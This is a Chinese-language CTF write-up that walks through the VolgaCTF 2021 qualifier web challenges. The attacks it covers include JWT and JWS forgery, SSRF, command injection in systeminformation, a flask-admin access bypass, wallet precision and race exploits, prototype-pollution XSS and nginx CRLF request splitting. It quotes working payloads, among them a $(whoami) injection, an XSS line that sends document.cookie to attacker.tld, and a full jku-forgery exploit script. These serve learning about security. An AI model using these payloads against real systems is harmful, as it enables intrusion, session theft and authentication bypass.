VolgaCTF2021_Qualifier_WP

  1. 1. 前言
  2. 2. JWT
  3. 3. Unicorn Networks
  4. 4. flask-admin
  5. 5. Online Wallet (Part 1)
  6. 6. Online Wallet (Part 2)
  7. 7. Static Site
  8. 8. JWS
  9. 9. Reference

前言

周日摸鱼打了一下这个比赛,出了四道,一道蹭车,一道最后一秒出,有点可惜.

比国内的题目要有意思一些,带来很多别的思考,(可惜没几道pwn和re

image-20210328224105712

下面是writeup和复现.

JWT

考察jwt相关,

注册登陆后发现是用JWT鉴权

image-20210328224433119

访问 http://172.105.68.62:8080/secret/ 可以得到密钥.

1
{"kty":"oct","kid":"HS256","alg":"HS256","k":"SkQxOVRBZTFHSlJCQkZnamtMU0FKY3p6aFJRMlRzWElabmEwQ3ozZUROdS9YcjNPZ04vSitkYk5ITUR3dytLYm9BRVFKcGNKelk0N3dRZ2FoblBFRERJczdicDlRK05lNTlvSStvelRVclpoM3A3Nmkyd2FEQVNhSkwxVTE3KzdRZlBLVmRIcklVZ1g1T2VYcnBwQVY1dG9jbThJODhJbUtUZDRyNVZnd2tzPQ"}

k的值是密钥,不过需要base64解密

然后https://jwt.io/ 填上密钥伪造admin身份 访问 http://172.105.68.62:8080/say-hi

image-20210328224607813

Unicorn Networks

“Protection of the admin section needs to be more robust…”

请求自己服务器,可以看到用的是 axios/0.21.0 , xff 还可以看到内网地址(不过不是很重要)

image-20210328224802862

然后搜axios/0.21.0 可以找到正好存在一个ssrf的漏洞, 302跳转即可绕过

根据题目提示访问/admin/, 可以bypass掉该页面的鉴权(直接访问是禁止访问)

得到的html:

image-20210328225340066

可以看到两个接口,前面一个没什么用,后面的有可控参数

探测了几个设备,发现好像没什么用

1
2
3
{"status":"ok","content":[{"name":"redis","running":false,"startmode":"","pcpu":0,"pmem":0}]}
{"status":"ok","content":[{"name":"mysql","running":false,"startmode":"","pcpu":0,"pmem":0}]}
{"status":"ok","content":[{"name":"nginx","running":true,"startmode":"","pids":[21,23,24],"pcpu":0.9694232611669855,"pmem":0.2}]}

经过大佬提醒@小杰, 发现原来这个接口调用的是 systeminformation 这个组件, 而且刚好有RCE漏洞

参考 https://snyk.io/vuln/search?q=systeminformation&type=any

POC: https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

传参?name[]=$(whoami) 可以任意命令执行.

最后payload:

image-20210328225913910

image-20210328225946311

flask-admin

题目描述: “Incorrect usage of this library leads to serious consequences…”

蹭车了… 很懵逼的出了flag

image-20210328230134814

分割线


参考 https://github.com/aszx87410/ctf-writeups/issues/31

在下面的代码处路由配置有问题,可以导致绕过@admin_required , 访问/admin/user/new 或者 /admin/user/edit/?id=1

Flask-admin文档 : https://flask-admin.readthedocs.io/en/latest/api/mod_base/#default-view

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyAdmin(admin.AdminIndexView):
@expose('/')
@admin_required
def index(self):
return super(MyAdmin, self).index()

@expose('/user')
@expose('/user/')
@admin_required
def user(self):
return render_template_string('TODO, need create custom view')

admin = Admin(app, name='VolgaCTF', template_mode='bootstrap3', index_view=MyAdmin())
admin.add_view(ModelView(User, db.session))

可以直接修改或者创建admin权限的用户,然后登陆获得flag,

image-20210329190619465

中间的PasswordHash格式,参考: https://www.cnblogs.com/jackadam/p/12196826.html

Online Wallet (Part 1)

代码逻辑很严密, 没找出来什么问题 (所以不是代码层面问题

审计代码的时候有比较奇怪的点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post('/withdraw', async (req, res) => { 
if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
return res.json({success: false})

const db = await pool.awaitGetConnection()
try {
result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
/* only developers can have a negative balance */
if((result[0].balance > 150) || (result[0].balance < 0))
res.json({success: true, money: FLAG})
else
res.json({success: false})
} catch {
res.json({success: false})
} finally {
db.release()
}
})

result[0].balance < 0 这点很奇怪, 正常逻辑不会这么写

考虑精度问题,

钱包内互相转账, 小数点很多的时候,发现Total amount可以超过100 ,这样虽然超过150很难,但是小于0很简单 , 想办法转账得到负值即可

然后偶然发现可以用科学计数法表示数字,

image-20210328232303063

然后慢慢调整得到负值钱包(因为不确定精度233333)

image-20210328232014233

然后赛后看wp发现其实代码是有点猫腻的

1
2
3
4
5
6
7
JSON.parse('{"money":100000000000000000000000000000000000000000000000000000000000001E-60}')

100

select json_extract('{"money":100000000000000000000000000000000000000000000000000000000000001E-60}','$.money')

100.00000000000001

数据库和js实际精度不一致导致的问题,代码处也有体现:

1
2
3
4
5
6
7
8
9
10
app.use(bodyParser.json({verify: rawBody})) 
// ....
if(from_balance >= req.body.amount) {
transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
await db.awaitCommit()
res.json({success: true})
}
// ....

在判断逻辑from_balance>=req.body.amount , 数据是经过json解析过的,

在数据库操作中却用的是原始数据req.rawBody. 测试发现js最大精度不到100000000000000001E-15

但是测试的时候还是很迷…


另外, 这题也可以用条件竞争来解, 类似区块链中的”双花” ( 好像大多数队伍是条件竞争解的2333,网速慢没办法)

Online Wallet (Part 2)

Steal document.cookie ,

image-20210329204116697

代码中可以看见lang参数,控制页面语言,参数值会直接显示在页面上

image-20210329205238604

但是 <>"' 都被过滤, 直接访问 https://volgactf-wallet.s3-us-west-1.amazonaws.com/ , 会显示目录(xml)

其中 deparam.js 从没引用过, 所以是解题关键,似乎存在原型链污染,但修复不完全,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
deparam = function( params, coerce ) {
var obj = Object.create(null), /* Prototype Pollution fix */
coerce_types = { 'true': !0, 'false': !1, 'null': null };
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( coerce ) {
val = val && !isNaN(val) ? +val
: val === 'undefined' ? undefined
: coerce_types[val] !== undefined ? coerce_types[val]
: val;
}
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( obj[key] !== undefined ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = coerce
? undefined
: '';
}
});
return obj;
};

queryObject = deparam(location.search.slice(1))

污染:

1
2
3
var poc = {}
queryObject = deparam('a[0]=2&a[__proto__][__proto__][abc]=1')
console.log(poc.abc) // 1

然后找Jquery的污染链: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md

image-20210330154512869

具体利用细节没太看懂, 记一下思路

  1. Use lang to import deparam.js
  2. prototype pollution to use jQuery gadget
  3. Use #depositButton to trigger tooltip and do XSS

Static Site

考察CSP Bypass+不安全的nginx配置

题目给了nginx的配置,(出题思路来自 https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
server {
listen 443 ssl;
resolver 8.8.8.8;
server_name static-site.volgactf-task.ru;

ssl_certificate /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
ssl_certificate_key /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;

add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;

location / {
root /var/www/html;
}

location /static/ {
proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}
}

请求/static/xss.html%20HTTP/1.0%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a, 得到:

1
2
3
4
5
GET /static/xss.html HTTP/1.0
Host:attacker-s3-bucket

HTTP/1.1
Host: volga-static-site.s3.amazonaws.com

然后绕过CSP, 没太看懂什么原理,CSP绕过: https://xz.aliyun.com/t/5084

记录下操作 https://github.com/aszx87410/ctf-writeups/issues/28

  1. create my own S3 bucket
  2. upload /static/index.html
  3. upload /static/app.js
  4. let bot visits [https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo](https://static-site.volgactf-task.ru/static/index.html HTTP/1.0 Host: ctftesthuli.s3.amazonaws.com yo):
  5. XSS triggered!

/static/xss.html

1
2
<script src="/static/xss.js%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a">
</script>

/static/xss.js

1
location.replace('//attacker.tld/?' + document.cookie)

JWS

WP: https://telegra.ph/JWS-writeups-03-28

主页的jws信息: payload内容就是My Integrity protected message

1
{"header":{"alg":"RS256","jku":"http://localhost:5001/vuln/JWK","kid":"d6rFAC4MIXx26fVxB1a591QXDJDWQLw4OGhDg1ahq-M"},"payload":"TXkgSW50ZWdyaXR5IHByb3RlY3RlZCBtZXNzYWdl","signature":"r8WBnXoZNiBjt2D6p2wfdkypWUEMwTrw9dEHtd3N_sGT9scDynL2pHhmjy4C2JtbOMLNFkIfur0xs6qeI6QUiRobQpgo74aGVrT8Ne53G180NE7_3WP4chjUwiKf9iVmgGrw_O5jLGU71IBO7B04r3wfD8fg7EnMdYLN0r-tGGCpw_T9MMJD6pAhxLzretqJo3tWv1Mb1cq5RxfhJ_4lOIEGFkxphCJPaLb2_7s8K30ACvwzoNqI6JQQ3D8n_jnCEFhCYYvlpoQMpRj0dOl252AMWlZDQ3zhQJbqDov8ACqtH7KudUnamu1q_H6-5Elmzbm_R7Z8p6C4XuZkqbMEoQ"}

签名正确会直接显示在页面上

image-20210330091101446

所以存在SSTI的可能性,但是要伪造正确的签名,

扫描路径,参数等, 发现http://192.46.234.216:5001/vuln/redirect?Endpoint=http://baidu.com/ , 可以跳转到任意域名,jku可控. 所以可以用任意密钥文件来生成和验证签名,

攻击方式参考 https://xz.aliyun.com/t/6776#toc-12https://www.slideshare.net/snyff/jwt-jku-x5u

image-20210330152907937

payload: 不过服务器连不了外网,所以没有验证思路,下面是官方的解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask, request, redirect, jsonify, send_from_directory
from jwcrypto import jwk, jws
from jwcrypto.common import json_encode
import os
import json
import requests, re

app = Flask(__name__)
app.config['pub_key'] = '{"e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ"'
app.config['all_key'] = '{"d":"AaOagaGz7rNRsEvDwr6NjvY0RwC2zzow7dipjxWXazIncJK6n24SBa4CZ2sr6G2R34M3C9r1D0yC3p7_NtCsKFSzWQrueUCGDyT_gihhYOgqghGKmjWXFNkITUJYQ0LEOEuPlA8WVG-1N8IYERhhoKLaj2r-COYwIdVMZQXeEiinXLfCVJCEtMMVNBMRfyUoY4_siQ6vMQGxJsHn8XOE2zsMnkreG7kPE-c0UrmsdnhmmyNFtegbS8dej4eH0Xy1txg81wTQSyGUru10QaFYVVAOhRFmdVNvSNWW3uL1guAOgLg8Y17FPnz1FiUGhflTeEsWwcKlVWl7QF0Bel-e1Q","dp":"nAk_O5Qi5HQRhgcsNZsGgFeEeErPn5CoXFx1DhANVbQwuNU-19P29wR4gSaDfexoLLaDXrw50g-ufmCLbz9r461LcPdmD6g9okstgPF38heLhjyTuA84xDu16sCX0ltpxWOWzhRkBeI0uhE1mjXtD7Uk9KUX5Y5SQK6MPZmVsoM","dq":"MznXQhv8h65iqwxzfPj3QwK6s9JvIR4IHnur2t3GYaCd-RG5fGSigkClUeG8TUlxViOr5ElbGsATWOzqAlr_CwTPCwEg9lcL5AKEHOy94k5CfAWMr1csa6Pp6bQJkveDf_c87s2Z1zYn6cJmJZiEJADocRyyUJ_mnh6wpvS7tgs","e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ","p":"0-jzleXm-XbQe_gjrKqFsQUypSjtVX2NJ1ckF5op0qE1XiLETHg0C-woMuEymyW-vqRAbgA5yx4pVhlmJTPkv8TVsc9OYsz1H1cswiI-I73uLJ1wgUk_4mapa7K10Mrsw2X9AZpmiP7ntc4OwVdJ7BjUoY587IbZrV0yVCKgeYM","q":"wWXeDP796mxedqUActwBTCQCR3uNjbmOINMZY2CR0DuxCa9AX8V3VZEQVUj1Q6R8o4ixrQywQy1R902Kc9dCQqBkwF4WfybzhkfwiVcf8Yy3bqZzEoGCEbs2KVnYX7J3EBIfgEQVXb_G5ZeOvWzgSTi11e1_kdcUXdANiGtISdc","qi":"MNo8DyDds5N6gw6gmA17Iu0scH5i2n30oS0nDxFp0tKqfd5WAjF7J3P_uESwzW8AvncAm7HtDBd-KEHipcOcm7rPEdfBKKhyo3Q25chBCvRPvVcslmML30p3p0_F26yd5ThHWoo3UmHNoPLiMNZN3oRsCe1w2jity3YVvZDhu48"}'

def generate_key():
key = jwk.JWK.generate(kty='RSA', size=2048)
print(key.export_public())
print(key.export())

@app.route('/') #to get evil jws token
def index():
jku = 'http://192.46.234.216:5001/vuln/redirect?endpoint=http://vps:5002/hack' #localhost:5002 its own server, 5001 server with vuln open redirect
payload = '{{config}}'
key = jws.JWK(**json.loads(app.config['all_key']))
jwstoken = jws.JWS(payload.encode('utf-8'))
jwstoken.add_signature(key=key,alg='RS256',protected=None,header=json_encode({"kid": key.thumbprint(), 'jku':jku, "alg":"RS256"}))
sig = jwstoken.serialize()
return sig

@app.route('/hack') #to redirect, return evil JWK
def hack(): #need send as file
with open('tmp.file', 'w') as file_write:
file_write.write(jwk.JWK(**json.loads(app.config['all_key'])).export_public())
uploads = os.path.join(os.path.abspath(os.path.dirname(__file__)))
return send_from_directory(directory='.',filename='tmp.file')

@app.route('/get_flag')
def get_flag():
payload = index()
answ = requests.get('http://192.46.234.216:5000/jws_check',params={'payloads':payload}).text
flag = answ
flag = re.findall('VolgaCTF{.+?}', answ)[-1]
print(flag)
return flag

if __name__ == '__main__':
app.run(port=5002, host='0.0.0.0')

出题人出题思路来源: https://www.youtube.com/watch?v=VA1g7YV8HkI&list=PLKAaMVNxvLmAD0ZVUJ2IGFFC0APFZ5gzy&index=10

Reference

https://github.com/aszx87410/ctf-writeups

https://blog.blackfan.ru/2021/03/volgactf-2021-quals-online-wallet.html#Static_Site_0

Nginx中间件漏洞泄露: https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/

常见的Nginx错误配置: https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/

我的CSP绕过思路及总结 : https://xz.aliyun.com/t/5084#toc-6

https://telegra.ph/JWS-writeups-03-28